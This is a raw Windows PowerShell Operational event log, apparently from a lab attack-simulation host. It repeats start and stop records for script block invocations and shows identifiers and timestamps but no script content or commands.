LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040310
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040309
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040308
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040307
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040306
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040305
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040304
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040303
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040302
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040301
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040300
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040299
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040298
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040297
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040296
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040295
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040294
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040293
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040292
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040291
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040290
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040289
Keywords=None
Message=Started invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040288
Keywords=None
Message=Completed invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040287
Keywords=None
Message=Started invocation of ScriptBlock ID: 1a3733b9-0846-4416-96ff-f98e831fb92f
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040286
Keywords=None
Message=Completed invocation of ScriptBlock ID: debebd5f-7e1c-4381-b8ac-a94c8c171ec8
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040285
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040284
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040283
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040282
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040281
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040280
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040279
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040278
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040277
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040276
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040275
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040274
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040273
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040272
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040271
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040270
Keywords=None
Message=Completed invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040269
Keywords=None
Message=Started invocation of ScriptBlock ID: 90955ce6-e72b-4f02-98e7-2854d76e96fb
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040268
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040267
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040266
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040265
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040264
Keywords=None
Message=Completed invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040263
Keywords=None
Message=Started invocation of ScriptBlock ID: 59ce12a7-770c-48d4-9010-f424db8bd9ae
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040262
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040261
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040260
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Stopping Command
OpCode=On create calls
RecordNumber=2040259
Keywords=None
Message=Completed invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4105
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
SidType=0
TaskCategory=Starting Command
OpCode=On create calls
RecordNumber=2040258
Keywords=None
Message=Started invocation of ScriptBlock ID: 4ef58d48-b5c8-46e3-bc3b-9f8809a4434a
Runspace ID: c0a71f6f-f218-409f-87f9-a7e84bc3d0fa
09/09/2021 10:01:51 PM
LogName=Microsoft-Windows-PowerShell/Operational
SourceName=Microsoft-Windows-PowerShell
EventCode=4106
EventType=5
Type=Verbose
ComputerName=win-host-987.attackrange.local
User=NOT_TRANSLATED
Sid=S-1-5-21-1166625382-1442148322-2337405042-2397
